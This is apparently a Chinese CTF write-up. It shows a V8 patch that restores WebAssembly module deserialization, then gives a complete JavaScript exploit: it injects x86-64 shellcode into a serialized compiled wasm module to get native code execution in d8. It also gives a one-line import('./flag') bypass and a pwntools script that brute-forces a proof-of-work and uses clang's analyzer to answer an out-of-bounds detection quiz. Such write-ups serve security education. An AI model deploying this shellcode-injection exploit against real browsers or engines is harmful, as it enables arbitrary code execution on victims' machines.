+ WriteRawBytes(&encoding_tag, sizeof(encoding_tag));
+
+ wasm::NativeModule* native_module = object->native_module();
+ base::Vector<const uint8_t> wire_bytes = native_module->wire_bytes();
+ WriteVarint<uint32_t>(static_cast<uint32_t>(wire_bytes.size()));
+ uint8_t* destination;
+ if (ReserveRawBytes(wire_bytes.size()).To(&destination)) {
+ memcpy(destination, wire_bytes.begin(), wire_bytes.size());
+ }
+
+ wasm::WasmSerializer wasm_serializer(native_module);
+ size_t module_size = wasm_serializer.GetSerializedNativeModuleSize();
+ CHECK_GE(std::numeric_limits<uint32_t>::max(), module_size);
+ WriteVarint<uint32_t>(static_cast<uint32_t>(module_size));
+ uint8_t* module_buffer;
+ if (ReserveRawBytes(module_size).To(&module_buffer)) {
+ if (!wasm_serializer.SerializeNativeModule({module_buffer, module_size})) {
+ return Nothing<bool>();
+ }
}
return ThrowIfOutOfMemory();
}
@@ -1621,6 +1653,8 @@ MaybeHandle<Object> ValueDeserializer::ReadObjectInternal() {
case SerializationTag::kError:
return ReadJSError();
#if V8_ENABLE_WEBASSEMBLY
+ case SerializationTag::kWasmModule:
+ return ReadWasmModule();
case SerializationTag::kWasmModuleTransfer:
return ReadWasmModuleTransfer();
case SerializationTag::kWasmMemoryTransfer:
@@ -2323,6 +2357,49 @@ MaybeHandle<JSObject> ValueDeserializer::ReadWasmModuleTransfer() {
return module;
}

+MaybeHandle<JSObject> ValueDeserializer::ReadWasmModule() {
+ base::Vector<const uint8_t> encoding_tag;
+ if (!ReadRawBytes(sizeof(WasmEncodingTag)).To(&encoding_tag) ||
+ encoding_tag[0] != static_cast<uint8_t>(WasmEncodingTag::kRawBytes)) {
+ return MaybeHandle<JSObject>();
+ }
+
+ // Extract the data from the buffer: wasm wire bytes, followed by V8 compiled
+ // script data.
+ static_assert(sizeof(int) <= sizeof(uint32_t),
+ "max int must fit in uint32_t");
+ const uint32_t max_valid_size = std::numeric_limits<int>::max();
+ uint32_t wire_bytes_length = 0;
+ base::Vector<const uint8_t> wire_bytes;
+ uint32_t compiled_bytes_length = 0;
+ base::Vector<const uint8_t> compiled_bytes;
+ if (!ReadVarint<uint32_t>().To(&wire_bytes_length) ||
+ wire_bytes_length > max_valid_size ||
+ !ReadRawBytes(wire_bytes_length).To(&wire_bytes) ||
+ !ReadVarint<uint32_t>().To(&compiled_bytes_length) ||
+ compiled_bytes_length > max_valid_size ||
+ !ReadRawBytes(compiled_bytes_length).To(&compiled_bytes)) {
+ return MaybeHandle<JSObject>();
+ }
+
+ // Try to deserialize the compiled module first.
+ MaybeHandle<WasmModuleObject> result =
+ wasm::DeserializeNativeModule(isolate_, compiled_bytes, wire_bytes, {});
+ if (result.is_null()) {
+ wasm::ErrorThrower thrower(isolate_, "ValueDeserializer::ReadWasmModule");
+ // TODO(titzer): are the current features appropriate for deserializing?
+ auto enabled_features = wasm::WasmFeatures::FromIsolate(isolate_);
+ result = wasm::GetWasmEngine()->SyncCompile(
+ isolate_, enabled_features, &thrower,
+ wasm::ModuleWireBytes(wire_bytes));
+ }
+ uint32_t id = next_id_++;
+ if (!result.is_null()) {
+ AddObjectWithID(id, result.ToHandleChecked());
+ }
+ return result;
+}
+
MaybeHandle<WasmMemoryObject> ValueDeserializer::ReadWasmMemory() {
uint32_t id = next_id_++;

diff --git a/src/objects/value-serializer.h b/src/objects/value-serializer.h
index f5ccdcbf0a5..b72b72c7a51 100644
--- a/src/objects/value-serializer.h
+++ b/src/objects/value-serializer.h
@@ -307,6 +307,7 @@ class ValueDeserializer {
bool& is_backed_by_rab) V8_WARN_UNUSED_RESULT;
MaybeHandle<Object> ReadJSError() V8_WARN_UNUSED_RESULT;
#if V8_ENABLE_WEBASSEMBLY
+ MaybeHandle<JSObject> ReadWasmModule() V8_WARN_UNUSED_RESULT;
MaybeHandle<JSObject> ReadWasmModuleTransfer() V8_WARN_UNUSED_RESULT;
MaybeHandle<WasmMemoryObject> ReadWasmMemory() V8_WARN_UNUSED_RESULT;
#endif // V8_ENABLE_WEBASSEMBLY
diff --git a/test/unittests/objects/value-serializer-unittest.cc b/test/unittests/objects/value-serializer-unittest.cc
index 9335bd114df..9388ef24040 100644
--- a/test/unittests/objects/value-serializer-unittest.cc
+++ b/test/unittests/objects/value-serializer-unittest.cc
@@ -3363,6 +3363,15 @@ TEST_F(ValueSerializerTestWithWasm, RoundtripWasmTransfer) {
ExpectPass();
}

+TEST_F(ValueSerializerTestWithWasm, RountripWasmInline) {
+ SetExpectInlineWasm(true);
+ ExpectPass();
+}
+
+TEST_F(ValueSerializerTestWithWasm, CannotDeserializeWasmInlineData) {
+ ExpectFail();
+}
+
TEST_F(ValueSerializerTestWithWasm, CannotTransferWasmWhenExpectingInline) {
EnableTransferSerialization();
ExpectFail();
@@ -3376,6 +3385,13 @@ TEST_F(ValueSerializerTestWithWasm, ComplexObjectDuplicateTransfer) {
ExpectScriptTrue("result.mod1 === result.mod2");
}

+TEST_F(ValueSerializerTestWithWasm, ComplexObjectDuplicateInline) {
+ SetExpectInlineWasm(true);
+ Local<Value> value = RoundTripTest(GetComplexObjectWithDuplicate());
+ VerifyComplexObject(value);
+ ExpectScriptTrue("result.mod1 === result.mod2");
+}
+
TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyTransfer) {
EnableTransferSerialization();
EnableTransferDeserialization();
@@ -3385,6 +3401,13 @@ TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyTransfer) {
}
#endif // V8_ENABLE_WEBASSEMBLY

+TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyInline) {
+ SetExpectInlineWasm(true);
+ Local<Value> value = RoundTripTest(GetComplexObjectWithMany());
+ VerifyComplexObject(value);
+ ExpectScriptTrue("result.mod1 != result.mod2");
+}
+
class ValueSerializerTestWithLimitedMemory : public ValueSerializerTest {
protected:
// GMock doesn't use the "override" keyword.
--
2.39.2
  • D8 Shell 里的 d8.serializer 没有删掉
  • 补丁带回了以前 V8 里 ValueSerializer 反序列化 WasmModule 的功能

Wasm(WebAssembly) 是一种底层的汇编语言,能够在所有当代桌面浏览器及很多移动浏览器中以接近本地的速度运行

官方 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,134,128,128,128,0,1,96,1,124,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,148,128,128,128,0,2,6,109,101,109,111,114,121,2,0,7,116,104,101,102,117,110,99,0,0,10,225,128,128,128,0,1,219,128,128,128,0,2,2,124,2,127,65,1,33,4,2,64,32,0,68,0,0,0,0,0,0,0,0,101,32,0,32,0,98,114,13,0,32,0,68,0,0,0,0,0,0,0,192,160,33,1,65,1,33,3,65,1,33,4,3,64,32,3,183,33,2,32,4,183,32,0,162,32,1,163,170,33,4,32,3,65,1,106,33,3,32,2,32,0,99,13,0,11,11,32,4,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const main = wasmInstance.exports.thefunc;
for (let i = 0; i < 64646; i++)
main(123);
let sb = d8.serializer.serialize(wasmModule);
let s = new Uint8Array(sb);
for (let i = 0; i < s.length; i++) {
if (s[i] == 0x55 && s[i+1] == 0x48 && s[i+2] == 0x89 && s[i+3] == 0xE5) {
for (let j = 0; j < shellCode.length; j++) {
s[i+j] = shellCode[j];
}
break;
}
}
let data = [];
for (let i = 0; i < s.length; i++) {
data.push(s[i]);
}
write(`new WebAssembly.Instance(d8.serializer.deserialize(new Uint8Array([${data}]).buffer)).exports.thefunc();`);

非预期解

本程序 ban 了 read,load 但还有一个 import 可以使用,所以直接:

1
import("./flag")

OOBdetection

本题目的意思就是提供一些代码,需要快速识别该代码中是否有漏洞,并说明漏洞类型

核心思路就是利用 clang 现成的检查机制来进行判断,因此需要把程序输出的代码写入 1.c 文件中,然后执行 clang:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
import hashlib
import itertools
from string import digits, ascii_letters
alpha_bet='0123456789abcdef'
strlist = itertools.product(alpha_bet, repeat=6)
from pwn import *
import warnings
import os, sys
from hashlib import sha256
warnings.filterwarnings("ignore", category=BytesWarning)
arch = 64
# challenge = './babyheap1'

context.os='linux'
# context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
# elf = ELF(challenge)
# libc = ELF('libc-2.27.so')

local = 0
if local:
# p = process(challenge)
pass
else:
# p = remote('223.112.5.156', '61546')
p = remote('47.98.209.191', 1337)

heapbase = None
# libc_os = lambda x : libc.address + x
# heap_os = lambda x : heapbase + x

p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
def debug():
# gdb.attach(p,"b* \nb* \nb* \nb* \n") #!
gdb.attach(p,"b *$rebase()\nb *$rebase()\nb* $rebase()\n") #!
# pause()

tail = ''
sha256= ''

# sha256 = input("input sha256: ")
# [+] sha256(XXXX+8sZkKP4gpQJlumyX) == 7ef07b0bb8b2fb9be8285c33992fb43b664a90deffba3cfad4d12ff4f72d373f
# [+] Plz tell me XXXX:
p.recvuntil('(XXX + ')
tail = p.recvuntil(')', drop=True).decode().strip()
p.recvuntil('== ')
sha = p.recvuntil('\n', drop=True).decode().strip()
success("tail: "+tail)
success("sha: "+sha)

xxx=''

tables='0123456789abcdef'
key = ''
def crack(hash,phash):
for a in tables:
for b in tables:
for c in tables:
for d in tables:
for e in tables:
for f in tables:
key=a+b+c+d+e+f
aa=(key+phash).decode('hex')
en=hashlib.sha256(aa).hexdigest()
if(en==hash):
xxx = key
print key
return key
key = crack(sha, tail)

success("key: "+key)
p.sendline(key)

# Welcome to OOBdetection challenge!
# You have 120 seconds to solve 300 questions.
# If you solve 300 questions, you will get the flag.
# If the program has no out of bound error, input 'safe'.
# If the program has out of bound error, input 'oob'.
# If the program has unknown variable values or other errors, input 'unknown'.
# Good luck!
p.recvuntil("Good luck!")

data = p.recvuntil("Your answer (safe/oob/unknown):",drop=True)

with open("./1.c", mode='w') as file_obj:
file_obj.write("int main()\n{"+data+"\n}")

#! clang -Wall 1.c -o 1
import subprocess

# 执行命令并获取输出和错误信息
cmd = "clang -Wall 1.c -o 1"
cmd = "clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c"
pp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = pp.communicate()

# 输出结果和错误信息
# print(err)
#! 如果包含了 -Warray-bounds 就输出 oob
if 'buffer' in err:
p.sendline("oob")
elif 'warning"' in err:
p.sendline("unknown")
else:
p.sendline("safe")

#! clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c

i = 1
for i in range(0,299):
success("i: "+str(i))
# pause()
# 'Right!\n'
# '\n'
p.recvuntil("Right!\n\n")
data = p.recvuntil("Your answer (safe/oob/unknown):",drop=True)
# print(data)

# num_list = re.findall(' = ([0-9]+);',data)
# print(num_list)

# n_list = re.findall('n[0-9]',data)
# print(n_list)

# for i in range(len(n_list)/2):
# data = data.replace(n_list[i], num_list[i])

# print(data)

# exp = ""
# data_list = data.split(';')
# for i in range(len(data_list)-4):
# exp += str(data_list[i+3])+";"

# print(exp)
import re
# 从代码中提取n的值和数组的第一维大小
match_n = re.search(r'n\s*=\s*(\d+)', data)
match_arr = re.search(r'a\[\s*(\d+)\s*\]\[', data)
if match_n and match_arr:
# pause()
n = int(match_n.group(1))
arr_size = int(match_arr.group(1))
success("n: "+str(n))
success("arr_size: "+str(arr_size))
if arr_size > n:
p.sendline("oob")
continue

with open("./1.c", mode='w') as file_obj:
file_obj.write("int main()\n{"+data+"\n}")

import subprocess

cmd = "clang -Wall 1.c -o 1"
cmd = "clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBound -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c"
pp = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = pp.communicate()

if 'out-of-bound' in err:
p.sendline("oob")
elif 'warning' in err:
p.sendline("unknown")
else:
# success("err: "+err)
p.sendline("safe")

#! clang --analyze -Xanalyzer -analyzer-checker=core -Xanalyzer -analyzer-checker=alpha.security.ArrayBoundV2 -Xanalyzer -analyzer-checker=core.uninitialized.ArraySubscript 1.c

p.interactive()